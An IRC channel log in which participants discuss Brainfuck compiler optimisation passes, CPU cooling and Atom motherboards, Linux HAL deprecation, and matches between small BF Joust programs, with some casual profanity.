15:07:02 changing to take another node reference would be non-trivial, updating lots of the optimiser passes. 15:07:08 since only SetMemory node does memory operation then, it will make the code simpler and easier to implement such cases. 15:07:24 (I didn't consider data abstraction a lot, I preferred simple pattern matching ) 15:07:36 (at the expense of expression canonicalization, though. but that is very much needed for further optimization.) 15:07:45 lifthrasiir, how will you represent a ++ the. 15:07:48 then* 15:07:55 when you don't know value before 15:07:57 p[2] = p[2] + 2; 15:08:09 lifthrasiir, I hope that will be simplified somewhere before the output? 15:08:26 the output will be printed out simplified, of course. 15:08:44 but for internal processing, uniform memory operation is easier to process. 15:09:09 lifthrasiir, oh and in bytes my code is already shorter than your for non-trivial cases, I generate compact output in the C backend: no indention, as few spaces as possible. 15:09:24 well a few more than "as few as possible" 15:09:46 lifthrasiir, you seem to have C code generation spread out in the node representation btw? 15:10:13 AnMaster: the most recent revision moves code generation code into bfc.codegen.c module. 15:10:32 76 def __repr__(self): 15:10:32 77 return '%r!=%r' % (self.expr, self.value) 15:10:37 from cond.py 15:10:37 hm 15:10:43 that wouldn't work for an erlang backend 15:10:47 would need =/= in erlang 15:10:53 AnMaster: well expression and condition is not yet refactored. 15:11:05 and i'm moving it currently 15:11:15 lifthrasiir, also why do you do some optimisation already in the file loader? 15:11:40 is that the only place where you move ">" forward? 15:11:51 traversing all the node is quite expensive. 15:11:55 or do you do it somewhere else after you converted [-] and such 15:12:14 AnMaster: it handles consecutive +, -, < and > currently. 15:12:25 and [-] is handled later elsewhere. 15:13:09 lifthrasiir, how is the node tree implemented? In in-between it is a linked list (cons style), with tuples (using records to simply changing the members, the erlang compiler translates it into a tuple) 15:13:16 (but I see it more like a struct) 15:13:27 lifthrasiir, what about >>[-]<< 15:13:43 AnMaster: it merges >> and <<, but not [-]. 15:14:00 [-] is handled in simple loop pass right now 15:14:48 (or more exactly, simple loop pass detects constant number of loop count and cleanup routine flattens the loop) 15:14:58 lifthrasiir, yes but when does +>[-]>+ turn into +:offset=0 [-]:offset=1 0:offset=2 ptr+=2 15:15:09 err 15:15:14 lifthrasiir, yes but when does +>[-]>+ turn into +:offset=0 [-]:offset=1 +:offset=2 ptr+=2 15:15:18 is what I meant 15:15:33 hit the wrong key (+ and 0 next to each other on Swedish kb layout) 15:15:54 lifthrasiir, surely you do move the moves forward. later on? 15:15:56 AnMaster: maybe in the cleanup? that is why i'm planning to move more optimization into file loader. 15:16:04 lifthrasiir, oh you don't do that already? 15:16:18 since it doesn't use attached offset. 15:16:40 i.e. offset is not an attribute of node; offset is calculated on-the-fly in the each passes. 15:17:37 but after certain passes, the most node is pointer-propagated and looks like above. 15:17:44 lifthrasiir, do you turn (assuming value before is unknown) "add, out(p[0]), add, out(p[0])" into "add, add out(p[0]-1), out(p[0])" 15:17:47 the most nodes are* 15:17:55 then merge the add nodes of course 15:18:17 lifthrasiir, hm ok. In my case offset is an attribute. 15:18:40 (see src/in_between-types.hrl for details of my data structures) 15:19:12 propagation pass could move some nodes, but anyway my passes don't depend on the order of nodes. 15:19:57 lifthrasiir, hm, how do you track data dependencies in general then? 15:20:09 did you say in-between uses mostly peephole optimizer? 15:20:58 lifthrasiir, well it has some "scan and build knowledge trees, sometimes store this to the parent loop (or other block) node" 15:21:16 lifthrasiir, but yes, a majority works on two or one operand 15:21:18 it tracks the record of references and updates, and determines if the current node is merged into the some node seen before. 15:21:26 like the shifter, which sorts by offset when possible 15:21:31 as well as moves "mov" forward 15:21:42 if the condition holds the current node is replaced with Nop[] (cleanup will get rid of these). 15:22:19 lifthrasiir, that sounds quite like my constant propagator pass. 15:22:37 well, I don't replace with nop, I just don't add the node to the result tree 15:22:45 (erlang is single assignment) 15:23:07 since it uses the linked list, alright. 15:23:31 lifthrasiir, yeah and each pass rebuilds the node list reversed then calls lists:reverse() before returning the result. 15:23:45 AnMaster: for tail recursion? 15:23:49 (which is rather fast, since lists:reverse is a built in function) 15:23:53 lifthrasiir, yes. 15:25:28 hmm, is reversing the linked list optimal? it is efficient than non-tail recursion, but i wonder there is an alternative approach. 15:26:01 lifthrasiir, speed isn't really an issue atm. 15:26:06 it seems fast enough 15:26:49 lifthrasiir, and doing it as a map over the list or similiar would only allow the function to look at one instruction at a time, while quite a few look at one from input and one from output 15:27:38 oh and important: If you just merged two instructions in peep hole style (looking at a pair), add the resulting instruction to the *input* list 15:27:54 this allows you to see if it can also be merged with the one before 15:28:27 getting that right reduced it from 230 iterations of all passes before the node tree stopped changing to just 6. For lostking 15:28:29 lifthrasiir, :) 15:28:36 okay, it should be quite common in functional (or mostly-functional) languages. :) 15:28:45 and about 5 minutes to half a minute 15:29:10 lifthrasiir, erlang is a mix of functional and declarative. 15:29:35 i had tried to re-implement esotope-bfc in ocaml, but it is quite strange experience in my perspective, though i have enough background about functional languages. ;) 15:29:45 background knowledge* 15:30:06 certainly knowing the language is different than using the language (fluently). 15:30:14 lifthrasiir, don't know about ocaml. But my aim isn't to make the compiler itself fast. "Reasonable" is enough for me 15:30:26 and erlang does have a compile mode for "to native code". 15:30:32 not sure if it works on OS X or not 15:30:46 ERL_COMPILER_OPTIONS='[inline,native,{hipe,[o3]}]' make 15:30:48 is quite a bit faster 15:30:52 well, if i concerned with the speed why had i written esotope-bfc in python? :D 15:31:10 (about halved time for lostking) 15:31:39 though atm I mostly work with ERL_COMPILER_OPTIONS='[debug_info]' 15:32:53 -!- inurinternet has quit (Read error: 110 (Connection timed out)). 15:33:28 lifthrasiir, and I'm quite positive that folding a dict to generate a new offset dict when constant propagation hits a mov node (moves pointer) node is far from the fastest way. 15:33:39 it was easy to write though 15:34:43 in fact I do much worse than that. I also do the same over a dict of sets (that handles "discard copy propagation result if the source offset is modified") 15:35:01 AnMaster: flushing the entire commands kept is far from optimal, right. it should flush only needed command if possible. 15:35:38 (so (copy 0 -> 1) (set 0 to 2) (copy 1 -> 3) isn't changed into (copy 0 -> 1) (set 0 to 2) (copy 0 -> 3)) 15:36:02 lifthrasiir, in what place do you mean? 15:37:11 AnMaster: eh, no. i think i misunderstood the topic. 15:37:34 what i said is about hard blocker in propagation pass. 15:38:04 ah yes, for me only unbalanced loop and seek are hard blockers 15:38:30 for mov I just translate the offsets in the data of consts and copies 15:38:50 using an O(something horrible) algorithm. 15:38:57 ;) 15:40:17 (but it seems to work well enough for lostking, however I will reconsider this if you can provide a program where it is an issue, (issue: [n] takes too long (subjectively) on the authors computer) 15:40:22 author's* 15:46:16 hm 15:46:55 lifthrasiir, you can turn any loop which is balanced and which will set index cell to 0 into an if right? 15:47:02 -!- ais523 has joined. 15:47:05 yes. 15:47:06 hi ais523 15:47:48 right, time for exception/warn feast (various other code bits not knowning about "if" insturction throwing exceptions or just warning) 15:48:00 -!- inurinternet has joined. 15:52:29 -!- BeholdMyGlory has joined. 15:58:13 -!- lereah_ has quit ("Leaving"). 16:13:40 -!- Corun has joined. 16:25:13 -!- BeholdMyGlory_ has joined. 16:25:44 -!- BeholdMyGlory has quit (Nick collision from services.). 16:25:48 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 16:27:05 -!- ehird has left (?). 16:27:16 -!- ehird has joined. 16:28:45 00:50 nooga: fuck 16:28:46 00:50 nooga: i can't make this fucking iso 16:28:47 00:50 nooga: mkisofs fails 16:28:49 ↑ you're a retard, waah hdiutil isn't good want mkisofs, waah mkisofs doesn't work! 16:29:00 01:00 pikhq: The Gentoo install disc is *just* a lightweight LiveCD. ;) ←gentoo has a gui installer 16:30:18 06:27 bsmntbombdood: ah, Dream Theater - Images and Words 16:30:19 06:27 bsmntbombdood: mmm 16:30:20 that album is crap 16:30:25 ehird: No longer maintained. 16:30:28 01:05 bsmntbombdood: "If I ever hear the words "that's final" come out of your mouth ever again, they truly will be." 16:30:29 haha context? 16:30:44 ehird: Instead, there's a minimal LiveCD and stage 3 autogenerated every week. 16:30:59 pikhq: oh? 16:31:04 i guess the gui installer was just too easy and usable for them 16:31:40 Actually, that was a casualty in the decision to stop doing versioned releases. 16:32:21 i refuse to believe being too easy wasn't a factor in it :) 16:32:52 hmm, i have a bunch of sbcls taking up 22-23% of my cpu each 16:33:11 100% of both cpu cores used :) 16:33:15 -!- BeholdMyGlory_ has joined. 16:33:17 probably borken maximas 16:33:19 * ehird kills 16:33:27 (I was wondering why my fans were going a bit loud for idle...) 16:33:41 -!- BeholdMyGlory has quit (Nick collision from services.). 16:33:45 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 16:33:47 haha, cool 16:33:51 if I kill one each one uses more cpu 16:34:12 -!- FireFly has joined. 16:35:10 -!- Deewiant has quit (Read error: 60 (Operation timed out)). 16:35:59 -!- Deewiant has joined. 16:37:51 awesome, my macs' sensors know what the ambient temperature is :> 16:37:54 hi ais523 16:37:58 hi 16:38:00 apparently it's 21 celsius here 16:38:10 which is quite hot for recent weather 16:38:12 hmm 16:38:29 CPU A Temperature Diode says 40C 16:38:33 CPU core 1 says 27C 16:38:35 er 16:38:35 37 16:38:38 CPU core 2 says 38C 16:38:41 hmm 16:38:44 gpu is at 43C 16:38:51 wtf 16:38:54 optical drive is at 24C 16:44:55 ehird: So, it's running a bit hotter than room temperature. 16:44:59 "core 0 temp: +32.0°C; core 1 temp: +33.0°C; NBr temp: +36.0°C; CPU temp: +28.0°C"; that's all the sensors I have. 16:45:14 pikhq: yeah I got one of the cores up to 58C by running 4 ocaml interpreters doing "let x () = x ();; x();;" 16:45:23 Wow. 16:45:40 My CPU shoots up to 40C when I run it full-blast. 16:45:46 Then, it's ultracheap. 16:46:15 pikhq: wait, is 58C unusually low or high, I'd say low 16:46:21 well more like regular 16:46:37 the cpu fan started to kick up a liiiittle bit by the end 16:46:41 After a minute of running, core 0 temp +46, core 1 temp +42. 16:46:49 fizzie: running wat 16:47:08 Just running in general; bash while true; do :; done. :p 16:47:13 Ah. 16:47:18 I did that but ocaml uses up more juice 16:47:41 http://www.cdrinfo.com/Sections/Articles/Sources/C/CPU%20Coolers%20Roundup%20For%20LGA1366%20April%202009/Images/results1.png ← i wanna know why the megahalems are so far above the xigmatek nepartak s983, i looked it up and it's practically the same 16:47:42 It seems to be going up still. +49/+46. 16:48:12 oh, ew 16:48:15 it has a 92mm fan 16:48:27 barfworthy 16:48:29 :p 16:49:11 that titan fenrir does really well 16:50:55 -!- Hiato has joined. 16:51:12 ugh, the default fan looks fugly 16:51:20 I have in the secondary box this really silly-looking cooler thing, http://www.arctic-cooling.com/catalog/product_info.php?cPath=1_43&mID=133 16:51:30 i suspect that chart of being woefully biased to how fast the stock fans spin on them 16:52:06 fizzie: it doesn't look as silly as http://www.silentpcreview.com/files/images/prolima-megahalems/12.jpg 16:52:17 it's like metal godzilla stepped on your motherboard 16:53:52 Well, it looks silly compared to what I'm more familiar with. The cooling things seem to have went quite crazy nowadays. 16:55:47 fizzie: Correction— the processor things seem to have gone quite crazy these days. 16:56:07 They reek heat. 16:56:31 Oh, silentpcreview reviewed the P183. The case I would get if it wasn't so goddamn ugly. 16:57:22 "Like the P182, the P183, at least on the outside, looks more or less the same as its predecessor." 16:57:24 You're kidding. 16:58:42 There's no fan on my Atom, I think. Though there's a tiny one on the northbridge or whatever, and those two heatsinks are right next to each other, so I guess it cools the CPU too. 16:58:56 You could trivially have a completely fanless Atom. 16:58:59 With 4W TDP (or that's what the ads say) I guess it shouldn't be making all that heat. 16:59:02 Would make a nice laptop. 16:59:05 Light, too. 16:59:30 The "nettop" form factor (or whatever it's called) laptops seem to be Atomy. 16:59:41 I have this http://www2.multithread.co.uk/mtcshop/images/linitx.com/products/Jetway_JNC92-230-LF_ATOM_1.6GHz_Mainboard_main.jpg thing. 16:59:56 fizzie: What, not even any heatsink on the Intel? 17:00:09 If you added a teeny heatisnk on the intel you could ditch the mobo fan, I bet,. 17:00:11 I'm not sure what Intel it is, the picture is so blurry. 17:00:15 s/,\.$/./ 17:00:31 fizzie: Well, there's obviously no heatsink on it in that pic 17:00:33 It could just be the mobo though 17:00:37 "Just add heatsink" 17:00:58 Possibly I could fanlessize it, but I don't think I'll bother. It's in the server room anyway, and not very noisy at that. 17:01:22 Oh great, the rig SPCR are putting in the P183 is a gamer one. 17:01:27 That's so relevant to silence. 17:01:45 (I got that Jetway motherboard primarily because they make a nice little daughterboard add-on card thing which adds three more gigabit-ethernet interfaces in addition to the one already there.) 17:02:02 fizzie: Oh, it's not a nettop? 17:02:07 You talking about them made me think it was 17:02:36 It's just a mini-ITX motherboard; I have it in a http://www.hec-group.com.tw/pccase/8k/ because it was the cheapest one I ran across. 17:02:53 fizzie: Wait, mini-itx? Isn't that thing dead in favour of microatx? 17:03:13 Mini-ITX is a 17 x 17 cm (or 6.7 x 6.7 inches) low-power motherboard form factor developed by VIA Technologies. Mini-ITX is slightly smaller than microATX. Mini-ITX boards can often be passively cooled due to their low power consumption architecture, which makes them useful for home theater systems, where fan noise can detract from the cinema experience. 17:03:14 Dead or not, it's what the Atoms are. 17:03:19 ah 17:03:27 fizzie: you could just pop off that jetway mobo fan and be fine, most likely 17:04:48 ehird: IIRC it runs at 55-60 C out of the box 17:04:52 So that's not a very good idea 17:04:58 Deewiant: The *motherboard*? 17:05:07 Yes, the northbridge. 17:05:08 -!- coppro has joined. 17:05:14 That's some, uh, heavy duty northbridge. 17:05:25 Do jetway embed an i7 in them or something 17:05:32 "most of the desktop form-factor atom boards use a desktop version of the northbridge, which uses a lot of power and runs very hot." 17:05:43 "the NB uses something like 5 times the power of the atom cpu" 17:05:48 Bizarre. 17:06:00 I don't know how bad the Jetway version is; most people seem to be using the Intel one. 17:06:18 Yeah, it might be different. 17:06:23 For a while I've had an idea for an ultra budget computer ... buy an integrated router/modem and put Linux on that. 17:06:38 Maybe you could have a DVI/serial sort of connector thing for a monitor. :P 17:06:43 I wonder if they're powerful enough to run Firefox. 17:07:00 It'd be - literally - a nettop. 17:07:57 Jetway's one might be equally bad, too; I haven't really read specs enough. I just picked it because of the easy NICs. It was a bit toss-and-go between that and VIAs new Nano thing, but that was a bit more expensive, and I couldn't really see myself using the cryptographic hardware acceleration all that much. 17:08:32 What sort of powersupply do you use for an Atom? 17:08:35 A PicoPSU? :-P 17:09:38 The case already had a very overpowered 120W power supply; I'm hoping it doesn't have a *horribly* bad efficiency. Some sort of picoPSUish solution would've been the alternative. 17:13:37 fizzie: Harumph, just about all mini-ITX cases seem to do that. 17:13:45 I want an excuse to picopsu 17:17:31 I think there was at least one linitx.com "bundle" type of deal with a external 12V AC/DC brick, some sort of box, and a picoPSU in it. 17:17:33 (Away; food.) 17:20:25 Bai. 17:23:19 -!- asiekierka has quit (Read error: 110 (Connection timed out)). 17:33:54 Is back, fwiw. 17:34:37 fizzie: You forgot the /me. 17:34:55 Also, the anti-shift in front of I, I suppose. 17:35:04 Also, a space after the /me. 17:35:05 ACTION is back. 17:35:19 No no no, like this: 17:35:21 I didn't want to waste a valuable ^A there. 17:35:21 /me is back. 17:35:24 It should look like that. 17:35:33 What do you mean your IRC client interprets /me as something? 17:35:47 /me is PEBCAK. 17:35:50 Oh, now I typoed back. 18:05:18 -!- tombom has joined. 18:15:05 "And even more I don't think that it's healthy to leave whole OS in RAM or disk." 18:15:06 wut 18:18:04 * oerjan found another bug loophole in his /// token scheme :( 18:18:27 fizzie: Hay, you know stuffs about linux suspensiony don'tcha? 18:18:37 i have to disallow tokens that can be confused with //\\/\\\\\\/\\\\\\/\\\\\\\\ :D 18:18:48 oerjan: :D 18:18:54 er, //\/\\\\\\/\\\\\\/\\\\\\\\ 18:19:52 otherwise it gets hard to substitute actual substitution code into places 18:19:59 yo dawg 18:21:29 is this what yo dawg has dropped to, being mentioned whenever anyone uses the same word twice in a sentence? 18:21:52 ais523: perhaps, but i _did_ put a substitution in a substitution 18:21:52 ais523: dropped to? 18:21:57 it's always been that! 18:22:14 I thought you had to expand the entire phrase 18:22:14 ais523: also, yo dawg isn't even about recursion 18:22:19 and I know 18:22:21 in fact i thought it was harmless, until i started actually using the token that this was currently confused with. 18:22:25 but the meme is, even though the original isn't 18:22:25 "you dawg, I herd u liek X so I put an X in your car so you can X while you drive" 18:22:28 ais523: nope 18:22:31 this is a spinoff of the meme 18:22:34 ah 18:22:35 where car-related things are replaced by X 18:22:36 well, it's a new meme 18:22:42 it seems to have eclipsed the old one, though 18:23:02 I heard you like UNIX so I put a UNIX in your UNIX so you can UNIX while you UNIX. 18:23:03 "yo dawg, I heard you like /// so I put a substitution in your substitution so you can unescape while you loop" 18:23:14 ais523: :D 18:23:16 pikhq: wow, that's the most unfunny one yet 18:23:27 ehird: I try. 18:23:39 http://data.tumblr.com/PRn7VIafuhc60f6moPwXp38Co1_500.jpg 18:24:57 http://a.ads2.msn.com/CIS/18/000/000/000/001/019.jpg ← What the heck. 18:26:42 lifthrasiir, I know do loop -> if conversion. Took longer than expected due to this pass started using data not fully used before. Uncovered some bugs. 18:26:50 I *now do 18:27:02 yeah 18:27:04 what ehird said 18:28:05 -!- BeholdMyGlory_ has joined. 18:28:31 -!- BeholdMyGlory has quit (Nick collision from services.). 18:28:34 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 18:28:39 interesting that even mandlebrot.b contains some dead code. I'm not surprised that lostking does. But I wouldn't have expected dead loops in mandlebrot.b 18:28:55 Is it hand-coded? 18:29:21 Yes. 18:29:26 So's life.b 18:29:27 Oh. 18:30:05 BTW, good luck finding dead code in anything generated by PEBBLE; it's got a dead code eliminator. Granted, that's *all* it has, but still... 18:30:32 "hal deprecation started 18:30:32 Karmic Alpha 1's underlying technology for power management and laptop Fn key maps was moved from "hal" (which is going to be deprecated soon) to "DeviceKit-power" and "udev-extras". When testing Alpha 1, please pay particular attention to regressions in those two areas and report bugs." 18:30:40 when you think about it, it is even stranger that auto generated code contains dead sections. After all it isn't very hard to make a compiler detect if the index cell of a loop has been set to 0 before 18:30:45 AnMaster: you'll be happy about that. 18:30:52 Kernel team deprecating hal. 18:31:05 AnMaster: Indeed. I did it. 18:31:07 ehird, what are the Xorg guys saying 18:31:10 what are they going to replace hald with? 18:31:14 or are they keeping it but not hal? 18:31:18 AnMaster: Dunno; don't they support udev anyway? 18:31:21 ais523: whatever udev does? 18:31:30 ehird: HAL. 18:31:35 ehird, err hal and udev do different things. 18:31:47 AnMaster: the ubuntu announcement somehow implies that hal was being replaced with udev. 18:31:55 doesn't make sense to me either, but. 18:31:59 hald is the thing that does automounting, I think 18:32:02 but hal itself is much more general than that 18:32:17 ais523: probably hald will stay, then, or an equivalent 18:32:19 hm 18:32:30 AnMaster: lkml probably has something on what's replacing hal 18:32:35 yes 18:32:53 well. I'm not very interested in it. Since I can do without hal currently just fine. 18:33:03 * AnMaster has a hal-free system 18:33:08 AnMaster: presumably, the new way will become the standard way to manage devices 18:33:13 AnMaster: I bet you don't have an automounter at all 18:33:26 ais523: that's not much of a bet 18:33:31 I know 18:33:34 that's like "I bet the grass is green" 18:33:48 ais523, actually I do. /etc/fstab is set to auto mount some things on boot. 18:33:50 * AnMaster runs 18:33:59 that's not an automounter 18:34:09 where's that xkcd comic about how misunderstanding words on purpose does not make you clever/funny? 18:34:11 consider it linked. 18:34:30 ais523, in that case I don't 18:34:45 ais523: congrats, you win £0 18:34:53 ehird: good, I only bet £0 18:35:00 ais523: you're rich now 18:35:00 also, nobody accepted the bet 18:35:01 hm wait 18:35:03 I might. 18:35:04 ais523: you did 18:35:08 * AnMaster checks for that nfs thing 18:35:08 you bet £0 against yourself 18:36:21 ais523, I have "Kernel automounter version 4 support (also supports v3)" as a module 18:36:30 used to use it, don't any more 18:36:32 hmm... 18:36:35 since it didn't work very well 18:37:13 ais523, used it for NFS. But yeah, doesn't work too well. 18:37:15 -!- BeholdMyGlory_ has joined. 18:37:39 -!- BeholdMyGlory has quit (Nick collision from services.). 18:37:45 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 18:50:14 -!- asiekierka has joined. 18:50:27 hi 18:50:38 i'm bored as hell 18:50:48 cool 18:51:13 asiekierka: want a game of BF Joust? 18:51:18 I need to adapt that for EgoBot sometime 18:51:28 but if you like, paste a program here and I'll run it against one of mine 18:51:31 I've already chosen which one I'll use 18:51:41 what's BF Joust 18:51:46 what's Joust, in fact 18:51:56 AnMaster: ais523: it seems hal is being replaced with DeviceKit 18:52:04 18:51 asiekierka: what's Joust, in fact ← ... 18:52:04 mhm 18:52:28 When I google "Joust" it only gives me the arcade game 18:52:46 BF Joust is an entity of itself 18:52:56 oh 18:52:58 Found something 18:53:00 I should write a wiki page about it 18:53:52 ok, but I must write the code 18:53:53 :P 19:02:29 Back 19:02:31 going to program stuff 19:03:20 -!- M0ny has joined. 19:04:49 going off 19:09:37 huh, avoiding that token did not fix the bug 19:12:08 !info 19:12:08 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 19:13:18 GregorR: I made a BF Joust hg bundle, although I don't know how well it will work 19:13:21 where should I send it/ 19:16:57 back! 19:17:45 ah, the bug was due to my debug statements 19:18:05 heh 19:18:19 i suspected it, they were always dangerous 19:18:27 Does BF Joust have wrapping memory? 19:18:38 it wraps from 255 to 0, and vice versa 19:18:49 which is why the flags start at 128 19:18:51 although I changed the rules a bit to make the game much more interesting 19:18:54 but this fix (prepending them with //\) makes them unreadable 19:18:57 it already has stone/paper/scissors strategies 19:19:06 http://retrocode.blogspot.com/2009/02/bf-joust-hill.html 19:19:09 is this not accurate 19:19:20 asiekierka: ais523 has hijacked the BF Joust name. 19:19:23 it /was/ accurate, but the rules have changed since 19:19:27 to refer to his own version 19:19:29 ehird: well, Goethe said he was going to change the rules 19:19:29 where are the new ones 19:19:33 ais523: but not to yours. 19:19:40 well, he was soliciting suggestions 19:19:40 you should rename it, really. 19:19:42 as in 19:19:43 yours 19:19:46 it's Goethe's game 19:19:46 and I was the only other person who suggested something 19:20:10 he abandoned it 19:20:14 ais523: what are YOUR rules 19:20:15 then 19:20:20 almost the same 19:20:23 except . is a nop 19:20:29 and the tape is much shorter (10-30 elements) 19:20:39 and you only lose if your flag is 0 at the end of two consecutive cycles 19:20:46 ais523: abandoning it is not quite the right word. 19:20:59 why would you use a nop? 19:21:01 setting the rules to "coming soon", then not doing anything for a month, then deregistering? 19:21:06 asiekierka: to do nothing for a cycle 19:21:09 'doing other things at the moment' != 'abandoned' 19:21:12 it is useful on occasion, honestly 19:21:27 Did anyone make any bot for your Joust? 19:21:32 and if yes, where's the scorelist 19:21:53 I just made an EgoBot bundle, but it hasn't been applied yet 19:22:03 and what's the best score 19:22:06 and how are they calculated 19:22:41 and the game itself is just a one-on-one win/lose/draw 19:22:53 you can make it into a tournament in various ways, though 19:22:54 -!- olsner has joined. 19:23:17 ais523: Theory: Wolfram personally answers every W|A query. 19:23:28 I don't believe it 19:23:34 ais523: It'd explain a lot! 19:23:36 and I stopped using W|A once I read the terms of use 19:24:09 How would [[>]<+>[-]-] fare? 19:24:11 (my first try) 19:24:16 er 19:24:19 lemme correct 19:24:25 asiekierka: badly, it does nothing :P 19:24:27 [[>]<++<-->>[-]-] 19:24:29 oh 19:24:36 er, waait 19:24:36 asiekierka: that program would suicide 19:24:36 wait 19:24:37 maybe not 19:24:43 the [>] goes to cell 2 19:24:47 then < goes back to your flag 19:24:50 then you set your flag to 130 19:24:55 then you go off the left end of the tape 19:25:08 then I reset cell 2 19:25:11 ais523, hm that is dead code 19:25:13 then I go forward 19:25:27 the outer loop will never be entered 19:25:28 ... 19:25:35 asiekierka: you've already lost by then 19:25:43 AnMaster: this is BF Joust, not regular BF 19:25:46 aha 19:25:50 it starts with a 128 on the first tape cell 19:26:04 ais523, any reason for that? 19:26:07 yes 19:26:13 ais523, well what is the reason 19:26:14 [>[>+++<[-]-]] 19:26:16 because the idea is to drop the opponent's first tape cell to 0 19:26:17 what about this? 19:26:23 and 128 needs 128 incs or decs to turn it to 0 19:26:30 oh wait 19:26:33 asiekierka: goes one cell to the right, then freezes 19:26:36 until the opponent gets near 19:26:38 [>[>+++<[-]]] 19:26:45 ais523: why does it freeze? 19:26:50 ais523, then a program consisting of 128 + or - should be the fastest one 19:26:52 asiekierka: because after [> you're on a zero 19:26:58 AnMaster: you need to find the opponent's 128 19:27:02 a program consisting of 128 + would just suicide 19:27:10 ... 19:27:15 but it's only checked on [ 19:27:18 and not in the middle of a loop 19:27:20 :P 19:27:25 ais523, where is the opponent's address space mapped then 19:27:29 asiekierka: the tape is 128 0 0 0 0 0 0 0 0 0 128 19:27:34 AnMaster: to yours, but backwards 19:27:38 asiekierka: with a variable number of 0s 19:27:42 so wait 19:27:46 ais523, unknown size? 19:27:48 AnMaster: yes 19:27:48 wouldn't <[-] be the fastest? xD 19:27:51 it's random from 0 to 30 19:27:56 asiekierka: < would fall off the tape 19:27:59 asiekierka: no wrapping 19:28:00 you're always at the left end of the tape 19:28:02 of ptr 19:28:02 oh 19:28:03 and your opponent at the right ned 19:28:08 falling off the tape loses 19:30:26 augh 19:30:37 let me write a wiki entry 19:30:38 i can't think of anything 19:30:53 $ cat /home/ais523/esoteric/brainfuck/bfjoust/attack1.bj 19:30:55 [>[-]+] 19:31:02 that's the archetypal simple BF Joust program 19:31:58 ais523: bj? 19:32:02 That may be an inadvisable file extension. 19:32:17 [>+[-]+] - a little defense fix 19:32:48 asiekierka: ah, that's clever 19:33:04 let me run it against defend5, which is my favourite even though attack5 does slightly better on the hill 19:33:07 lol? 19:33:14 It just gives a defense against -1 blocks 19:33:42 I vote +[>[-]+]. 19:33:55 $ ./bfjoust ~/esoteric/brainfuck/bfjoust/defend5.bj /tmp/asiekierka.bj 19:33:57 Program 2 went off the right end. 19:33:58 Player 1 wins! 19:34:05 ...huh? O_O 19:34:19 ooh 19:34:30 won't using + at the end of the loop set opponent's flag to 1? 19:34:34 yes 19:34:39 I think [>+[-]] is more proper 19:34:44 oh wait 19:35:00 asiekierka: but it'll already have been at 0 for two cycles 19:35:04 one after the -, one after the ] 19:35:41 ais523: apparently alpha is actually 5-6 million lines 19:35:51 wow, that's a lot of specialcasing 19:36:02 [>+[-]+.] 19:36:04 what about this? 19:36:29 ,[>,] 19:36:30 ;) 19:36:36 $ ./bfjoust ~/esoteric/brainfuck/bfjoust/defend5.bj /tmp/asiekierka.bj 19:36:37 Program 1's flag fell. 19:36:39 Player 2 wins! 19:36:41 asiekierka: congrats, you beat me 19:36:45 ...LOL? 19:36:46 pikhq: , is a comment in my version of BF Joust 19:36:57 Bastard. 19:37:03 ./bfjoust ~/esoteric/brainfuck/bfjoust/attack5.bj /tmp/asiekierka.bj 19:37:04 Program 2's flag fell. 19:37:06 Player 1 wins! 19:37:10 engh 19:37:22 Well, so i'm good against defense but worse against attack, it seems 19:37:23 asiekierka: that means you're the new #2 19:37:26 so not bad 19:37:29 Hmm 19:37:35 I wonder what attack5 does 19:37:47 [>-(repeat 128 times)] 19:37:57 ...hey 19:38:01 this uses wrapping, doesn't it 19:38:22 yes, it does 19:38:33 oh wait 19:38:36 pikhq: that would be [>(-)*128] in my abbreviation syntax 19:38:52 ais523: A good syntax. 19:39:07 [>+(-)*128.] 19:39:10 what about this code 19:39:36 $ ./bfjoust ~/esoteric/brainfuck/bfjoust/defend5.bj /tmp/asiekierka.bj 19:39:37 Program 2 went off the right end. 19:39:39 Player 1 wins! 19:39:43 Personally what I want is a parsable abbreviation syntax. Say, something simple like [>-(128)] for operator repetition and "foo\n" for strings... 19:39:49 $ ./bfjoust ~/esoteric/brainfuck/bfjoust/attack5.bj /tmp/asiekierka.bj 19:39:51 Program 2's flag fell. 19:39:52 Nothing much. 19:39:52 Player 1 wins! 19:40:00 pikhq: the two abbreviation syntaxes: 19:40:06 Just that and the ability to compile to Brainfuck. 19:40:07 (x)*5 = xxxxx 19:40:24 (a{b}c)%5 = aaaaabccccc 19:40:35 ais523: Ah. 19:40:36 you can't have unmatched brackets in an abbreviation 19:41:03 but you can do, say, (a[{b}]c)%5 = a[a[a[a[a[b]c]c]c]c]c 19:41:14 * ehird reads a scifi story by Steve Yegge 19:41:20 true to form, it's long 19:41:20 And can there be no spaces between my cell and the opponent's cell? 19:41:22 Or can there be some 19:41:43 Hadny for, say, [-(>{+}<)%5] 19:42:05 ais523: Can there be something like 128 128 or must it be 128 0 128 19:42:16 it's from 10 to 30 chars long 19:42:28 >--->+++>---<<<[>+[-]+.] 19:42:28 as in, 128 0 0 0 0 0 0 0 0 128 is the minimum 19:42:29 try this one 19:42:29 in my version 19:42:40 asiekierka: ah, the old decoy strategy 19:42:40 er, no 19:42:41 don't 19:42:45 it would likely be better without the <<< 19:42:49 >--->+++>--->+++[>+[-]+.] 19:42:51 here 19:43:13 beats defend5, loses to attack5 19:43:18 lol 19:43:23 both by flag fall 19:43:56 augh, i don't know how to battle with attack5 19:44:17 Hey, wait... 19:44:23 (doubt it will work but still 19:45:04 >>++++++++[-<++++++++++++++++>][>+[-]+.] 19:45:09 it takes too much time 19:45:11 but i had this idea 19:45:20 "fake flag" strategy, I'd say 19:45:38 but it takes too much time, but I wonder how it'd work 19:46:20 asiekierka: ][ is nearly always bad to put in a BF program 19:46:26 you probably don't mean that 19:46:36 i probably do mean that 19:46:46 the first loop does the 16*8=128 19:46:46 the [>+[-]+.] will never run 19:46:49 oh 19:46:56 you leave the 128 in a different cell 19:47:02 you probably want a > in there or something 19:47:03 >>++++++++[-<++++++++++++++++>]+[>+[-]+.] 19:47:04 here 19:47:11 -!- kar8nga has joined. 19:47:20 oerjan: [[The Kondos took four adjacent seats near the center. A cheery voice filled the room. "Welcome to the Death of Saint Dawkins Historical Tour. I'm Marv, your Tour Guide, and I will be sharing exciting facts with you before the tour, and also during the tour in your Tour Bodies. ]] 19:47:32 faintly Babykiller style her 19:47:32 e 19:47:33 asiekierka: beats defend5, loses to attack5 19:47:37 